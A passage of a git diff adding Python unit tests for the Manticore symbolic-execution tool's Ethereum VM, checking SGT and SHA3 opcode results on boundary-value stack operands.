+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_60(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_61(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_62(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_63(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(32)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_64(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_65(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_66(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_67(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_68(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_69(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_70(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_71(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_72(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(48)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_73(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_74(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_75(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_76(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_77(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [1])
+
+    def test_SGT_78(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_79(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_80(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+    def test_SGT_81(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode='\x13'
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [0])
+
+if __name__ == '__main__':
+    unittest.main()
diff --git a/tests/EVM/test_EVMSHA3.py b/tests/EVM/test_EVMSHA3.py
new file mode 100644
index 0000000..6e6dd69
--- /dev/null
+++ b/tests/EVM/test_EVMSHA3.py
@@ -0,0 +1,2687 @@
+
+import struct
+import unittest
+import json
+from manticore.platforms import evm
+from manticore.core import state
+from manticore.core.smtlib import Operators, ConstraintSet
+import os
+
+
+class EVMTest_SHA3(unittest.TestCase):
+    _multiprocess_can_split_ = True
+    maxDiff=None 
+    def _execute(self, new_vm):
+        last_returned = None
+        last_exception = None
+        try:
+            new_vm.execute()
+        except evm.Stop, e:
+            last_exception = "STOP"
+        except evm.NotEnoughGas:
+            last_exception = "OOG"
+        except evm.StackUnderflow:
+            last_exception = "INSUFICIENT STACK"
+        except evm.InvalidOpcode:
+            last_exception = "INVALID"
+        except evm.SelfDestruct:
+            last_exception = "SUICIDED"
+        except evm.Return as e:
+            last_exception = "RETURN"
+            last_returned = e.data
+        except evm.Revert:
+            last_exception = "REVERT"
+            
+        return last_exception, last_returned
+
+    def test_SHA3_1(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_2(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(0)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_3(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(1)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_4(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(57896044618658097711785492504343953926634992332820282019728792003956564819952L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_5(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(3618502788666131106986593281521497120414687020801267626233049500247285301263L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_6(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(16)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_7(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(32)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_8(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(48)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_9(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            new_vm._push(6089590155545428825848686802984512581899718912L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, 'OOG')
+
+    def test_SHA3_10(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
+                        'number': 0,
+                        'difficulty': 0,
+                        'gaslimit': 0,
+                        }
+            gas = 1000000
+
+            new_vm = evm.EVM(constraints, address, origin, price, data, caller, value, bytecode, header, gas=gas, global_storage=world.storage)
+            new_vm._push(0)
+            new_vm._push(115792089237316195423570985008687907853269984665640564039457584007913129639935L)
+            last_exception, last_returned = self._execute(new_vm)
+            self.assertEqual(last_exception, None)
+            self.assertEqual(new_vm.pc, 1)
+            self.assertEqual(new_vm.stack, [89477152217924674838424037953991966239322087453347756267410168184682657981552L])
+
+    def test_SHA3_11(self):
+            #Make the constraint store
+            constraints = ConstraintSet()
+            #make the ethereum world state
+            world = evm.EVMWorld(constraints)
+
+            address=0x222222222222222222222222222222222222200
+            caller=origin=0x111111111111111111111111111111111111100
+            price=0
+            value=10000
+            bytecode=' '
+            data = 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'
+            header = { 'coinbase': 0,
+                        'timestamp': 0,
